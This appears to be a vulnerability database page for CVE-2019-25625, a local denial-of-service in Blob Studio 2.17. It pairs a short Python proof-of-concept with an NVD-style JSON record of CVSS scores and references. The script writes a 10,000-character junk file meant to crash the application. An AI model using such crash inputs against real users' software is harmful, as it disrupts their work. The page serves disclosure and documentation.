CVE-2019-25625

# Proof of Concept for CVE-2019-25625 # This script generates a malicious file with a large buffer to crash Blob Studio. buffer_size = 10000 # Size of the buffer to trigger overflow junk = "A" * buffer_size filename = "malicious_input.txt" def generate_poc(): try: with open(filename, "w") as f: f.write(junk) print(f"[+] PoC file '{filename}' created successfully.") print(f"[+] Buffer size: {buffer_size} bytes.") print("[+] Load this file in Blob Studio to trigger the DoS.") except IOError as e: print(f"[-] Error creating file: {e}") if __name__ == "__main__": generate_poc()

{"cve": {"id": "CVE-2019-25625", "sourceIdentifier": "[email protected]", "published": "2026-03-23T14:16:27.033", "lastModified": "2026-03-24T14:17:17.590", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Blob Studio 2.17 contains a denial of service vulnerability that allows local attackers to crash the application by providing malformed input through the key entry mechanism. Attackers can create a text file with a large buffer of repeated characters and trigger the application to read it, causing the application to crash or become unresponsive."}, {"lang": "es", "value": "Blob Studio 2.17 contiene una vulnerabilidad de denegación de servicio que permite a atacantes locales bloquear la aplicación al proporcionar una entrada malformada a través del mecanismo de entrada de claves. Los atacantes pueden crear un archivo de texto con un búfer grande de caracteres repetidos y hacer que la aplicación lo lea, lo que provoca que la aplicación se bloquee o deje de responder."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pixarra:blob_studio:2.17:*:*:*:*:*:*:*", "matchCriteriaId": "D5DD1FBF-57B5-495F-983C-A57FE145C933"}]}]}], "references": [{"url": "http://www.pixarra.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "http://www.pixarra.com/uploads/9/4/6/3/94635436/tbblobstudio_install.exe", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46129", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry", "Exploit"]}, {"url": "https://www.vulncheck.com/advisories/blob-studio-denial-of-service-via-malformed-input", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}